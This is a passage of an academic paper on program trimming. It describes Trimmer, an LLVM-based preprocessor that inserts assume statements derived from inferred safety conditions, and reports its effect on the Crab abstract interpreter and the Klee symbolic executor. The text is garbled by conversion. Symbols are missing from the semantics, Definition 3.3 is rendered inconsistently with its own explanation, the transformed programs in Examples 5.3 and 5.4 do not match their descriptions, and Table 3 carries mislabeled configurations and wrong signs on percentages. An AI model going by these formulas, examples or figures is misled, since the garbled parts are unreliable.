condition at a given program point reflects a necessary condition for the rest of the program execution to fail. Since a necessary condition for a property Q can be obtained using the negation of a sufficient condition for Q, we can compute a valid trimming condition for a program point π as the negation of the safety condition at π. Thus, our approach trims the program by instrumenting it with assumptions of the form assume φ, where φ is the negation of the safety condition for that program point. Since condition φ is, by construction, necessary for the program to fail, the trimmed program preserves the safety of the original program. Moreover, since execution terminates as soon as we encounter an assumption violation, instrumenting the program with trimming conditions prunes program paths in a semantic way. Program trimming on this example. Revisiting our running example from Figure 1, the safety condition right after line 14 is m != 123 && f == 0. Since procedure fact called at line 14 neither contains any assertions nor modifies the value of n, a valid safety condition right before line 14 is n != 123. Indeed, in executions that reach line 14 and satisfy this safety condition, the assertion does not fail. We can now obtain a sound trimming condition by negating the safety condition. This allows us to instrument the program with the assert statement shown in the dark gray box of line 13. Any execution that does not satisfy this condition is correct and is effectively removed by the assert statement in a way that preserves safety. As a result, a dynamic symbolic execution tool running on the instrumented program will only explore the single execution path containing the bug and will not waste any resources on provably correct paths. Observe that a bounded model checker would similarly benefit from this kind of instrumentation. **Motivation #2: precision.** To see how our approach might improve the precision of program analysis, let us ignore the assertion on line 15 and only consider the one on line 7. Since n = 0 implies r = 1 on line 7, this assertion can clearly never fail. However, an abstract interpreter, like Crab, using intervals [31] cannot prove this assertion due to the inherent imprecision of the underlying abstract domain. In particular, the abstract interpreter knows that n is non-negative at the point of the assertion but has no information about r (i.e., its abstract state is ?). Hence, it does not have sufficient information to discharge the assertion at line 7. Suppose, however, that our technique can infer the safety condition n = 0 on line 3. Using this condition, we can now instrument this line with the trimming condition n != 0, which corresponds to the assertion in the light gray box. If we run the same abstract interpreter on the instrumented program, it now knows that n is strictly greater than 0 and can therefore prove the assertion even though it is using the same interval abstract domain. Hence, as this example illustrates, program trimming can also be useful for improving the precision of static analyzers in verification tasks. ## 3 PROGRAM TRIMMING In this section, we formally present the key insight behind failure-directed program trimming using a simple imperative language in the style of IMP [87], augmented with assert and assume statements. This lays the foundation for understanding the safety condition inference, which is described in the next section and is defined for a more expressive language. Here, we present the semantics of the IMP language using big-step operational semantics, specifically using judgments of the form \( \langle \sigma, s \rangle \Downarrow_{\phi} \sigma' \) where: - \( s \) is a program statement, - \( \sigma, \sigma' \) are valuations mapping program variables to values, - \( \phi \in \{ , \exists, \forall \} \) indicates whether an assertion violation occurred (\( \exists \)), an assumption was violated (\( \forall \)), or neither assertion nor assumption violations were encountered (denoted \( \forall \)). We assume that the program terminates as soon as an assertion or assumption violation is encountered. We also ignore non-determinism to simplify the presentation. **Definition 3.1. (Failing execution)** We say that an execution of \( s \) under \( \sigma \) is failing iff \( \langle s, \sigma \rangle \Downarrow_{\exists} \sigma' \), and successful otherwise. In other words, a failing execution exhibits an assertion violation. Executions with assumption violations also terminate immediately but are not considered failing. **Definition 3.2. (Equi-safety)** We say that two programs \( s, s' \) are equi-safe iff, for all valuations \( \sigma \), we have: \[ \langle s, \sigma \rangle \Downarrow_{\exists} \sigma' \iff \langle s', \sigma \rangle \Downarrow_{\exists} \sigma' \] In other words, two programs are equi-safe if they exhibit the same set of failing executions starting from the same state \( \sigma \). Thus, program \( s' \) has a bug if and only if \( s \) has a bug. As mentioned in Section 1, the goal of program trimming is to obtain a program \( s' \) that (a) is equi-safe to \( s \) and (b) can terminate early in successful executions of \( s \). **Definition 3.3. (Trimmed program)** A program \( s' \) is a trimmed version of \( s \) iff \( s, s' \) are equi-safe and \[ \begin{align*} 1) & \quad \langle s, \sigma \rangle \Downarrow_{\forall} \sigma' \implies \langle s', \sigma \rangle \Downarrow_{\forall} \sigma' \land \langle s', \sigma \rangle \Downarrow_{\exists} \sigma'' \\ 2) & \quad \langle s, \sigma \rangle \Downarrow_{\forall} \sigma' \implies \langle s', \sigma \rangle \Downarrow_{\exists} \sigma'' \end{align*} \] Here, the first condition says that the trimmed program \( s' \) either exhibits the same successful execution as the original program or terminates early with an assumption violation. The second condition says that, if the original program terminates with an assumption violation, then the trimmed program also violates an assumption but can terminate in a different state \( \sigma'' \). In the latter case, we allow the trimmed program to end in a different state \( \sigma'' \) than the original program because the assumption violation could occur earlier in the trimmed program. Intuitively, from a program analysis perspective, we can think of trimming as a program simplification technique that prunes execution paths that are guaranteed not to result in an assumption violation. Observe that program trimming preserves all terminating executions of program \( s \). In other words, if \( s \) terminates under valuation \( \sigma \), then the trimmed version \( s' \) is also guaranteed to terminate. However, program trimming does not give any guarantees about non-terminating executions. Hence, even though this technique is suitable as a pre-processing technique for safety checking, it does not necessarily need to preserve liveness properties. For example, non-terminating executions of \( s \) can become terminating in \( s' \). The definition of program trimming presented above does not impose any syntactic restrictions on the trimmed program. For instance, it allows program trimming to add and remove arbitrary statements as long as the resulting program satisfies the properties of Definition 3.3. However, in practice, it is desirable to make some syntactic restrictions on how trimming can be performed. In this paper, we perform program trimming by adding assumptions to the original program rather than removing statements. Even though this transformation does not “simplify” the program from a program understanding point of view, it is very useful to subsequent program analyzers because the introduction of assume statements prunes program paths in a semantic way. ## 4 STATIC ANALYSIS FOR TRIMMING As mentioned in Section 1, our trimming algorithm consists of two phases, where we infer safety conditions using a lightweight static analysis in the first phase and instrument the program with trimming conditions in the next phase. In this section, we describe the safety condition inference. 4.1 Programming Language In order to precisely describe our trimming algorithm, we first introduce a small, but realistic, call-by-value imperative language with pointers and procedure calls. As shown in Figure 2, a program in this language consists of one or more procedure definitions. Statements include sequencing, assignments, heap reads and writes, memory allocation, procedure calls, assertions, assumptions, and conditionals. Since loops can be expressed as tail-recursive procedures, we do not introduce an additional loop construct. Also, observe that we only allow conditionals with non-deterministic predicates, denoted \(*\). However, a conditional of the form \(\text{if } (p) \ (s_1) \ \text{else } (s_2)\) can be expressed as follows in this language: \[ \text{if } (\ast) \ (\text{assume } p; s_1) \ \text{else } (\text{assume } \neg p; s_2) \] Since the language is quite standard, we do not present its operational semantics in detail. However, as explained in Section 3, we assume that the execution of a program terminates as soon as we encounter an assertion or assumption violation (i.e., the predicate evaluates to false). As in Section 3, we use the term failing execution to indicate a program run with an assertion violation. 4.2 Safety Condition Inference Recall from Section 1, that a safety condition at a given program point \(\pi\) is a sufficient condition for any execution starting at \(\pi\) to be error free. More precisely, a safety condition for a (terminating) statement \(s\) is a formula \(\varphi\) such that \(\varphi \Rightarrow \wp(s, \text{true})\), where \(\wp(s, \phi)\) denotes the weakest precondition of \(s\) with respect to postcondition \(\phi\) [37]. While the most precise safety condition is \(\wp(s, \text{true})\), our analysis intentionally infers stronger safety conditions so that trimming can be used as a pre-processing technique for safety checkers. Our safety condition inference engine is formalized using the rules shown in Figure 3. Our formalization makes use of an "oracle" \(\Lambda\) for resolving queries about pointer aliasing and procedure side effects. For instance, this oracle can be implemented using a scalable pointer analysis, such as the Data Structure Analysis (DSA) method of Lattner et al. [69]. In the rest of this section, we assume that the oracle for resolving aliasing queries is \textit{flow-insensitive}. Figure 3 includes two types of inference rules, one for statements and one for procedures. Both forms of judgments utilize a summary environment \(\Upsilon\) that maps each procedure \(\text{proc}\) to its corresponding safety condition (or "summary"). Since our language contains recursive procedures, we would, in general, need to perform a fixed-point computation to obtain sound and precise summaries. However, because our analysis initializes summaries conservatively, the analysis can terminate at any point to produce sound results. With the exception of rule (10) in Figure 3, all rules in Figure 3 derive judgments of the form \(\Lambda, Y, \Phi + s : \Phi'\). The meaning of this judgment is that, using environments \(\Lambda\) and \(Y\), it is provable that \((\Phi')_{||} (\Phi)\) is a valid Hoare triple (i.e., \(\Phi' \Rightarrow \wp(s, \Phi)\) if \(s\) terminates). Similarly to the computation of standard weakest preconditions [37], our analysis propagates safety conditions backward but sacrifices precision to improve scalability. Next, we only focus on those rules where our inference engine differs from standard precondition computation. **Heap reads and writes.** An innovation underlying our safety condition inference is the handling of the heap. Given a store operation \(*v := e*\), this statement can modify the value of all expressions \(\ast x\) where \(x\) is an alias of \(v\). Hence, a sound way to model the heap is to rewrite \(*v := e*\) as \[ *v := e; \text{if } (v = v_1) + v_1 := e; \ldots; \text{if } (v = v_k) + v_k := e; \] where \(v_1, \ldots, v_k\) are potential aliases of \(v\). Effectively, this strategy accounts for the "side effects" of statement \(*v := e*\) to other heap locations by explicitly introducing additional statements. These statements are of the form $\text{if } (v = v_1) \ast v_2 := e$, i.e., if $v$ and $v_1$ are indeed aliases, then change the value of expression $\ast v_2$ to $e$. While the strategy outlined above is sound, it unfortunately conflicts with our goal of computing safety conditions using lightweight analysis. In particular, since we use a coarse, but scalable alias analysis, most pointers have a large number of possible aliases in practice. Hence, introducing a linear number of conditionals causes a huge blow-up in the size of the safety conditions computed by our technique. To prevent this blow-up, our inference engine computes a safety precondition that is stronger than necessary by using the following conservative store operation. **Definition 4.1. (Memory location)** We represent memory locations using terms that belong to the following grammar: \[ \text{Memory location } \alpha := v \mid \text{drf}(\alpha) \] Here, $v$ represents any program variable, and $\text{drf}$ is an uninterpreted function representing the dereference of a memory location. To define our conservative store operation, we make use of a function $\text{aliases}(v, \Lambda)$ that uses oracle $\Lambda$ to retrieve all memory locations $\alpha$ that may alias $v$. **Definition 4.2. (Store operation)** Let $\text{derefs}(\Phi)$ denote all $\alpha'$ for which a sub-term $\text{drf}(\alpha')$ occurs in formula $\Phi$. Then, \[ \text{store}(\text{drf}(\alpha), e, \Lambda, \Phi) := \Phi[e/\text{drf}(\alpha)] \land \bigwedge_{\alpha_i \in \Lambda(\alpha)} (\alpha_i \neq \alpha) \] where $\Lambda \equiv \text{aliases}(\alpha, \Lambda) \cap \text{derefs}(\Phi)$. In other words, we compute the precondition for statement $\ast v := e$ as though the store operation was a regular assignment, but we also “assert” that $v$ is distinct from every memory location $\alpha_i$ that can potentially alias $v$. To see why this is correct, observe that $\Phi[e/\text{drf}(\alpha)]$ gives the weakest precondition of $\ast v := e$ when $v$ does not have any aliases. If $v$ does have aliases that are relevant to the safety condition, then the conjunct $\bigwedge_{\alpha_i \in \Lambda(\alpha)} (\alpha_i \neq \alpha)$ evaluates to $\text{false}$, meaning that we can never guarantee the safety of the program. Thus, $\text{store}(\text{drf}(\alpha), e, \Lambda, \Phi)$ logically implies $wp(\ast v := e, \Phi)$. **Example 4.3.** Consider the following code snippet: \[ \begin{align*} \text{if } (\star) & \text{ (assume } x = y; a := 3;) \\ \text{else} & \text{ (assume } x \neq y; *y := 3;) \\ * & x := a; t := *y; \\ & \text{assert } t = 3; \end{align*} \] Right before the heap write $*x := a$, our analysis infers the safety condition $\text{drf}(y) = 3 \land x \neq y$. Before the heap write $*y := 3$, the safety condition is $x \neq y$, which causes the condition before the assumption $x \neq y$ to be $\text{true}$. This means that executions through the else branch are verified and may be trimmed because $x$ and $y$ are not aliases for these executions. **Interprocedural analysis.** We now turn our attention to the handling of procedure calls. As mentioned earlier, we perform interprocedural analysis in a modular way, computing summaries for each procedure. Specifically, a summary $\Sigma(f)$ for procedure $f$ is a sufficient condition for any execution of $f$ to be error free. With this intuition in mind, let us consider rule (6) for analyzing procedure calls of the form $v := \text{call} \ prc(\bar{\alpha})$. Suppose that $\bar{\alpha}$ is the set of memory locations modified by the callee $prc$ but expressed in terms of the memory locations in the caller. Then, similarly to other modular interprocedural analyses [8, 9], we conservatively model the effect of the statement $v := \text{call} \ prc(\bar{\alpha})$ as follows: \[ \text{assert } \sum(\text{prc}) \land \text{havoc } v; \text{havoc } \bar{\alpha}. \] Here, havoc $\alpha$ denotes a statement that assigns an unknown value to memory location $\alpha$. Hence, our treatment of procedure calls asserts that the safety condition for $prc$ holds before the call and that the values of all memory locations modified in $prc$ are “destroyed”. While our general approach is similar to prior techniques on modular analysis [8, 9], there are some subtleties in our context to which we would like to draw the reader’s attention. First, since our procedure summaries (i.e., safety conditions) are not provided by the user, but instead inferred by our algorithm (see rule (10)), we must be conservative about how summaries are “initialized”. In particular, because our analysis aims to be lightweight, we do not want to perform an expensive fixed-point computation in the presence of recursive procedures. Therefore, we use the following summary function to yield a conservative summary for each procedure. **Definition 4.4. (Procedure summary)** Let $\text{hasAsrts}(f)$ be a predicate that yields $\text{true}$ if procedure $f$ or any of its (transitive) callees contains an assertion. Then, \[ \sum(f, \bar{Y}, \bar{v}) = \begin{cases} \Sigma(f)[\bar{v}/\Sigma]\text{ if } f \in \text{dom}(\bar{Y}) \\ \text{false} & \text{if } \text{hasAsrts}(f) \\ \text{true} & \text{otherwise} \end{cases} \] In other words, if procedure $f$ is in the domain of $\bar{Y}$ (meaning that it has previously been analyzed), we use the safety condition given by $\Sigma(f)$, substituting formals by the actuals. However, if $f$ has not yet been analyzed, we then use the conservative summary $\text{false}$ if $f$ or any of its callees have assertions, and $\text{true}$ otherwise. Observe that, if $f$ is not part of a strongly connected component (SCC) in the call graph, we can always obtain the precise summary for $f$ by analyzing the program bottom-up. However, if $f$ is part of an SCC, we can still soundly analyze the caller by using the conservative summaries given by $\sum(f, \bar{Y}, \bar{v})$. The other subtlety about our interprocedural analysis is the particular way in which havocking is performed. Since the callee may modify heap locations accessible in the caller, we define a havoc operation that uses the store function from earlier to conservatively deal with memory locations. **Definition 4.5. (Havoc operation)** \[ \text{havoc}\left(\text{drf}(\alpha), \Lambda, \Phi\right) := \forall v_{\text{new}}. \text{store}(\text{drf}(\alpha), v_{\text{new}}, \Lambda, \Phi) \] \[ \text{where } v_{\text{new}} \notin \text{freeVars}(\Phi) \land \\ \text{havoc}(\bar{\Sigma}, \Lambda, \Phi) := \text{havoc}(\text{head}(\bar{\Sigma}), \Lambda, \Phi) \] Observe that the above definition differs from the standard way this operation is typically defined [8]. In particular, given a scalar variable $v$, the assignment $v := \star$, and its postcondition $\phi$, the standard way to compute a conservative precondition for the assignment is $\exists v. \phi$ (i.e., $\phi$ must hold for any value of $v$). Note that an alternative way of computing the precondition is $\forall x. \phi[x/v]$, where $x$ is not a free variable in $\phi$. In the context of scalars, these two definitions are essentially identical, but the latter view allows Theorem 4.6. Suppose that \(\Lambda, \Upsilon, \Psi \vdash s : \Phi'\), and assume that \(\Lambda\) provides sound information about aliasing and procedure side effects. Then, under the condition that \(s\) terminates and that the summaries provided by \(\Upsilon\) are sound, we have \(\Phi' \Rightarrow \wp(s, \Psi)\). \(\dagger\) 5 PROGRAM INSTRUMENTATION In the previous section, we discussed how to infer safety conditions for each program point. Recall that program trimming annotates the code with trimming conditions, which are necessary conditions for failure. Here, we describe how we instrument the program with suitable assumptions that preserve safety of the original program. Intraprocedural instrumentation. First, let us ignore procedure calls and consider instrumenting a single procedure in isolation. Specifically, consider a procedure with body \(s_1; \ldots; s_n\) and let: \(\Lambda, \Upsilon, \text{true} \vdash s_1; \ldots; s_n : \Phi\) We instrument the program with the statement \(\lnot \Phi\) right before statement \(s_j\) if \(s_j\) complies with the instrumentation strategy specified by the user (see Section 6). Note that we do not instrument at every single instruction because subsequent safety checkers must also analyze the assumptions, which adds overhead to the analysis. Theorem 5.1. Suppose that our technique adds a statement \(\lnot \Phi\) before \(s_1; \ldots; s_n\). Then, \(\Phi\) is a necessary condition for \(s_1; \ldots; s_n\) to have an assertion violation. Interprocedural instrumentation. One of the key challenges in performing program instrumentation is how to handle procedure calls. In particular, we cannot simply annotate a procedure \(f\) using the safety conditions computed for \(f\). The following example illustrates why such a strategy would be unsound. Example 5.2. Consider procedures foo, bar, and baz: \[ \begin{align*} \text{proc foo}(x) \{ \text{assume } x \leq 2; \} \text{proc bar}(a) \{ \text{assume } a < 100; \} \text{proc baz}(b) \{ \text{assume } b > 10; \} \end{align*} \] Here, the safety condition for procedure foo is just \(\text{true}\) since foo does not contain assertions or have callees with assertions. However, observe that we cannot simply instrument foo with \text{assert false} because there are assertions after the call to foo in bar and baz. One possible solution to this challenge is to only instrument the main method, which would be very ineffective. Another possible strategy might be to propagate safety conditions top-down from callers to callees in a separate pass. However, this latter strategy also has some drawbacks. For instance, in this example, variables \(a\) and \(b\) are not in scope in foo; hence, there is no meaningful instrumentation we could add to foo short of \text{assume true}, which is the same as having no instrumentation at all. We solve this challenge by performing a program transformation inspired by previous work \[54, 67\]. The key idea underlying this transformation is to create, for each procedure \(\text{prc}\), a new procedure \(\text{prc'}\) that can never fail. In particular, we create \(\text{prc'}\) by (a) changing all assertions \text{assert } \phi\) in \(\text{prc}\) to assume \(\phi\), and (b) replacing all calls to \(f\) (including recursive ones) with \(f'\). Now, given a call site of \(\text{prc}\), \(v := \text{call } \text{prc}(\bar{e})\), we replace it with the following conditional: \[ \begin{align*} \text{if } (\star) \{ v := \text{call } \text{prc'}(\bar{e}); \} \text{else } \{ v := \text{call } \text{prc}(\bar{e}); \text{assume false}; \} \end{align*} \] This transformation is semantics preserving since it is merely a case analysis: Either \(\text{prc}\) succeeds, in which case it is safe to replace the call to \(\text{prc}\) with \(\text{prc'}\), or it fails, in which case we can call original \(\text{prc}\) but add \text{assume false} afterward since \(\text{prc}\) has failed. The following example illustrates this transformation. Example 5.3. Consider the following procedures: \[ \begin{align*} \text{proc foo(x, y)} \{ \text{assume } x > 0; \text{bar}(y); \} \text{proc bar(z)} \{ \text{assume } z > 0; \} \text{proc main(x, y)} \{ \text{foo}(x, y); \} \end{align*} \] Our transformation yields the following new program: \[ \begin{align*} \text{proc foo'}(x, y) \{ \text{assume } x > 0; \text{bar'}(y); \} \text{proc foo}(x, y) \{ \text{assert } x > 0; \} \text{proc bar}(z) \{ \text{assert } z > 0; \} \text{proc main}(x, y) \{ \text{foo}(x, y); \} \end{align*} \] The main advantage of this transformation is that it allows us to transform the program instrumentation in a modular and conceptually simple way. In particular, we do not need to instrument the "safe" version \(\text{prc'}\) of a procedure \(\text{prc}\) since \(\text{prc'}\) never fails. On the other hand, it is safe to instrument \(\text{prc}\) with the negation of the local safety conditions since every call site of \(\text{prc}\) is followed by the statement \text{assume false} (i.e., execution terminates immediately after the call). Example 5.4. Consider the following procedures foo and bar: \[ \begin{align*} \text{proc foo(x)} \{ \text{assume } x > 10; \} \text{proc bar(a, x)} \{ \text{foo(x); assume } a < 100; \} \end{align*} \] Our instrumentation yields the following new program: \[ \begin{align*} \text{proc foo'}(x) \{ \text{assume } x > 10; \} \text{proc foo}(x) \{ \text{assume } x \leq 10; \text{assert } x > 10; \} \text{proc bar(a, x)} \{ \text{assume } a \geq 100 \lor x \leq 10; \} \text{else } \{ \text{foo}(x); \text{assume false}; \} \text{assert } a < 100; \} \end{align*} \] Discussion. The reader may notice that our program transformation introduces additional branches that did not exist in the original program. Since the goal of program trimming is to reduce the number of execution paths while retaining safety, this transformation may seem counter-intuitive. However, because one \(\dagger\) This paper’s extended version \[46\] includes proofs or proof sketches for all theorems. of the branches is always followed by \texttt{assume false}, our transformation does not lead to a blow-up in the number of paths and allows us to perform the instrumentation modularly. 6 IMPLEMENTATION We have implemented our program trimming algorithm as a tool called \textsc{Trimmer}, meant as a lightweight pre-processor for program analyzers that check safety. Our implementation is based on the LLVM infrastructure \cite{LLVM} and performs instrumentation at the LLVM bit-code level. Hence, \textsc{Trimmer} can be conveniently integrated into any safety checking tool that is built on top of the LLVM infrastructure and is capable of analyzing \texttt{assume} statements. Recall from Section 4 that \textsc{Trimmer}’s safety inference engine requires alias and side effect information to soundly analyze heap stores and procedure calls. For this purpose, \textsc{Trimmer} leverages LLVM’s DSA pointer analysis \cite{DSA}, a highly-scalable, summary-based, flow-insensitive analysis. Since \textsc{Trimmer} can be useful to a variety of program analysis tools (including both static and dynamic analyzers), \textsc{Trimmer} can be customized in different ways depending on the assumptions made by subsequent safety checkers. In what follows, we describe the different configurations that \textsc{Trimmer} provides. Reasoning about integer arithmetic. \textsc{Trimmer} provides the option of treating integral-type expressions either as mathematical (unbounded) or fixed-width integers. Since some safety checkers ignore integer over- and under-flows but others do not, \textsc{Trimmer} supports both encodings.\footnote{For the fixed-width integer encoding, \textsc{Trimmer} strengthens safety conditions by requiring that there are no integer over- or under-flows. Specifically, \textsc{Trimmer} utilizes arithmetic operations in the LLVM instruction set that return both the result of the operation and a flag indicating whether an over-flow occurred. Note that \textsc{Trimmer} does not use bit-vectors for encoding fixed-width integers.} Analyzers treating values as mathematical integers can therefore use the configuration of \textsc{Trimmer} that also makes this same unsound assumption. Eliminating quantifiers. Recall from Section 4 that the safety conditions generated by our inference engine contain universal quantifiers. Hence, when negating the safety conditions, the resulting trimming conditions contain existentially-quantified variables. \textsc{Trimmer} provides two alternatives for eliminating quantifiers. First, \textsc{Trimmer} can remove quantifiers using Z3’s quantifier elimination (QE) capabilities \cite{Z3} after simplifying and pre-processing the formula. Second, \textsc{Trimmer} also allows replacing quantified variables by calls to non-deterministic functions. Since quantified variables at the formula level correspond to program variables with unknown values, this strategy has the same effect as quantifier elimination. Bounding the instrumentation. After \textsc{Trimmer} instruments the program with trimming conditions, subsequent safety checkers need to analyze the assumptions. Hence, the number of additional \texttt{assume} statements as well as the size of the predicates can affect the running time of program analyzers. For this reason, \textsc{Trimmer} allows users to customize where to add assumptions in the code. For example, sensible strategies include adding instrumentation right before loops and procedure calls, or before every conditional. In a similar vein, \textsc{Trimmer} also provides different options for bounding the size of the formulas used in \texttt{assume} statements. For example, the user can bound the number of conjuncts in the formula to be at most \textit{k}, where \textit{k} is a value chosen by the user. This strategy is sound because \textsc{Trimmer} guarantees that the “simplified” formulas are weaker than the original trimming conditions. 7 EXPERIMENTS To evaluate the effectiveness of program trimming, we have used \textsc{Trimmer} to pre-process hundreds of programs by instrumenting them with \texttt{assume} statements. Since these assumptions are not useful on their own, we evaluate the effect of program trimming in the context of two different LLVM-based program analyzers for safety checking. In particular, we use \textsc{Crab}, an abstract interpreter that supports several abstract domains, and \textsc{Klee}, a widely-used dynamic symbolic execution engine. We ran our experiments on 439 programs\footnote{Available at: https://mariachris.github.io/FSE2017/benchmarks.zip}, most of which (92\%) are taken from the software verification competition (SV-COMP) benchmarks, which have clearly defined outcomes and are handled by numerous tools. Since the errors in many of the buggy programs in this benchmark set are very shallow\footnote{For example, in the existing SV-COMP benchmarks, \textsc{Klee} can find the bug with a very low resource limit for 85\% of the buggy programs.}, we also augment these benchmarks with additional buggy programs, either taken from other sources or obtained by injecting deeper bugs into safe SV-COMP benchmarks. The benchmarks taken from SV-COMP span a broad range of categories, including \texttt{ControlFlow}, Loops, Recursive, and \texttt{ArrayReach}, but exclude categories that are not handled by \textsc{Klee} or \textsc{Crab}, e.g., \texttt{BitVectorsReach}, \texttt{Concurrency}. In what follows, we describe the effects of program trimming on the results of \textsc{Crab} and \textsc{Klee}. We ran all of our experiments on an Intel Xeon CPU E5-2640 v3 @ 2.60GHz machine with 132 GB of memory running the Ubuntu 14.04.1 operating system. We used the latest available version of \textsc{Crab} and the latest version of \textsc{Klee} that was compatible with LLVM 3.6, which \textsc{Crab} requires. 7.1 Impact of Program Trimming on \textsc{Crab} To demonstrate that program trimming increases precision across a range of abstract domains, we compare the performance of \textsc{Crab} (with and without trimming) on three different domains with varying levels of precision: - \textbf{Int}denotes the (non-relational) interval domain \cite{Koenig}, which infers invariants of the form \( c_1 \leq x \leq c_2 \); - \textbf{Zones}is the (relational) zones abstract domain \cite{Zones}, which infers difference constraints of the form \( x - y \leq c \); - \textbf{RTZ}is \textsc{Crab}’s most precise (native) abstract domain and corresponds to the reduced product of disjunctive intervals (i.e., disjunctions of constraints of the form \( c_1 \leq x \leq c_2 \)) \cite{RTZ} and the zones abstract domains. As mentioned in Section 6, \textsc{Trimmer} can be customized using a variety of different configurations. To understand the precision vs. performance trade-off, we evaluate \textsc{Crab} using the configurations of \textsc{Trimmer} shown in Table 1. Here, the column labeled \texttt{MC} indicates the maximum number of conjuncts used in an \texttt{assume} statement. The third column labeled \texttt{QE} indicates whether we use quantifier elimination or whether we model quantified variables using calls to non-deterministic functions (recall Section 6). Finally, the columns labeled \texttt{L/P} and \texttt{C} denote the instrumentation strategy. In configurations where there is a checkmark under \texttt{L/P}, we add Table 1: Overview of trimming configurations (incl. total number of added `assume` statements and time for pre-processing all benchmarks in the two right-most columns). <table> <thead> <tr> <th>Configuration</th> <th>MC</th> <th>QE</th> <th>L/P</th> <th>C</th> <th>A</th> <th>Time (s)</th> </tr> </thead> <tbody> <tr> <td>TrimL+B</td> <td>4</td> <td>✓</td> <td>✓</td> <td>X</td> <td>143</td> <td>5.31</td> </tr> <tr> <td>TrimB</td> <td>4</td> <td>✓</td> <td>✓</td> <td></td> <td>1638</td> <td>4.97</td> </tr> <tr> <td>TrimND+B</td> <td>4</td> <td>X</td> <td>✓</td> <td></td> <td>2801</td> <td>7.34</td> </tr> <tr> <td>TrimL</td> <td>∞</td> <td>✓</td> <td>✓</td> <td>X</td> <td>156</td> <td>6.05</td> </tr> <tr> <td>Trim</td> <td>∞</td> <td>✓</td> <td>✓</td> <td></td> <td>1735</td> <td>5.74</td> </tr> <tr> <td>TrimND</td> <td>∞</td> <td>✓</td> <td>X</td> <td></td> <td>2852</td> <td>8.62</td> </tr> </tbody> </table> assume statements right before loops (L) and before procedure (P) calls. In configurations where there is a checkmark under C, we also add instrumentation before every conditional. The two right-most columns show the total number of added `assume` statements (not trivially true) and the pre-processing time for all benchmarks. Since average trimming time is 11–20 milliseconds per benchmark, we see that program trimming is indeed very lightweight. The results of our evaluation are summarized in Table 2. As we can see from this table, all configurations of program trimming improve the precision of Crab, and these improvements range from 23% to 54%. For instance, for the interval domain, the most precise configuration of Trimmer allows the verification of 68 benchmarks instead of only 49 when using Crab without trimming. Another observation based on Table 2 is the precision vs. performance trade-offs between different configurations of Trimmer. Versions of Crab that use Trimmer with QE seem to be faster and more precise than those configurations of Trimmer without QE. In particular, the version of Trimmer with QE performs better because there are fewer variables for the abstract domain to track. We also conjecture that Trimmer using QE is more precise because the abstract domain can introduce imprecision when reasoning about logical connectives. For instance, consider the formula \( \exists x (x = 1 \land x \neq 1) \), which is logically equivalent to false, so Trimmer with QE would instrument the code with `assume false`. However, if we do not use QE, we would instrument the code as follows: \[ x := \text{non} \text{det}(); \text{assume } x = 1 \land x \neq 1; \] When reasoning about the `assume` statement, an abstract interpreter using the interval domain takes the meet of the intervals \([1, 1]\) and \(\top\), which yields \([1, 1]\). Hence, using Trimmer without QE, Crab cannot prove that the subsequent code is unreachable. Summary: Table 2 shows that trimming significantly improves the precision of an abstract interpreter with reasonable overhead. Our cheapest trimming configuration (TrimL+B + Int) proves 21% more programs safe than the most expensive configuration of Crab without trimming (RTZ) in less than 70% of the time. ### 7.2 Impact of Program Trimming on Klee In our second experiment, we evaluate the impact of program trimming on Klee, a state-of-the-art dynamic symbolic execution tool. We use a subset\(^5\) of the variants of Trimmer (see Table 1) and evaluate trimming on Klee with three search strategies: breadth-first search (BFS), depth-first search (DFS), and random search (R). ### Since programs usually have infinitely many execution paths, it is necessary to enforce some resource bounds when running Klee. In particular, we run Klee with a timeout of 300 seconds and a limit of 64 on the number of forks (i.e., symbolic branches). The results of our evaluation are presented in Table 3. Here, the column labeled SAFE shows the number of programs for which Klee explores all execution paths without reporting any errors or warnings.\(^6\) Hence, these programs can be considered verified. The second column, labeled UNSAFE, shows the number of programs reported as buggy by each variant of Klee. In this context, a bug corresponds to an explicit assertion violation in the program. Next, the third column, labeled PATHS, shows the number of program paths that Klee explored for each variant. Note that fewer paths is better—this means that Klee needs to explore fewer executions before it finds the bug or proves the absence of an assertion violation. The next two columns measure the number of programs for which each Klee variant reaches a resource limit. In particular, the column labeled TIMEOUT shows the number of programs for which Klee fails to terminate within the 5-minute time limit. Similarly, the column MAX-FORKS indicates the number of programs for which each Klee variant reaches the limit that we impose on the number of forks. Finally, the last column, labeled TIME, shows the total running time of each Klee variant on all benchmarks. As shown in Table 3, program trimming increases the number of programs that can be proved safe by 16–18%. Furthermore, program trimming allows Klee to find up to 30% more bugs within the given resource limit. In addition, Klee with program trimming needs to explore significantly fewer paths (up to 38%) and reaches the resource bound on significantly fewer programs. Finally, observe that the overall running time of Klee decreases by up to 30%. \(\)\(^5\)In particular, since Klee’s analysis is already path-sensitive we do not consider variants that instrument before conditionals here. \(\)\(^6\)By warning, we mean any internal Klee warning that designates an incompleteness in Klee’s execution (e.g., solver timeouts and concretizing symbolic values). Table 3: Summary of comparison with Klee. Since Klee treats integers in a sound way, we also use the variant of Trimmer that reasons about integer over- and under-flows. <table> <thead> <tr> <th>Configuration</th> <th>Safe</th> <th>Unsafe</th> <th>Paths</th> <th>Timeout</th> <th>Max-Forks</th> <th>Time (s)</th> </tr> </thead> <tbody> <tr> <td>KleeEFS</td> <td>126 (+0%)</td> <td>118 (+0%)</td> <td>9231 (+0%)</td> <td>73 (+0%)</td> <td>73 (+0%)</td> <td>21679</td> </tr> <tr> <td>TrimL+ + KleeEFS</td> <td>146 (+16%)</td> <td>145 (+23%)</td> <td>5978 (+35%)</td> <td>52 (+40%)</td> <td>46 (+51%)</td> <td>15558</td> </tr> <tr> <td>TrimL + KleeEFS</td> <td>146 (+16%)</td> <td>153 (+30%)</td> <td>5678 (38%)</td> <td>50 (-32%)</td> <td>40 (-45%)</td> <td>15264</td> </tr> <tr> <td>KleeDFS</td> <td>126 (+0%)</td> <td>99 (+0%)</td> <td>10624 (+0%)</td> <td>91 (+0%)</td> <td>75 (+0%)</td> <td>26185</td> </tr> <tr> <td>TrimL+ + KleeDFS</td> <td>146 (+16%)</td> <td>124 (+25%)</td> <td>6939 (31%)</td> <td>72 (-21%)</td> <td>48 (-36%)</td> <td>20797</td> </tr> <tr> <td>TrimL + KleeDFS</td> <td>146 (+16%)</td> <td>129 (+30%)</td> <td>6695 (33%)</td> <td>72 (-21%)</td> <td>43 (-43%)</td> <td>21164</td> </tr> <tr> <td>KleeR</td> <td>126 (+0%)</td> <td>121 (+0%)</td> <td>9227 (+0%)</td> <td>71 (+0%)</td> <td>72 (+0%)</td> <td>21077</td> </tr> <tr> <td>TrimL+ + KleeR</td> <td>149 (+18%)</td> <td>146 (+21%)</td> 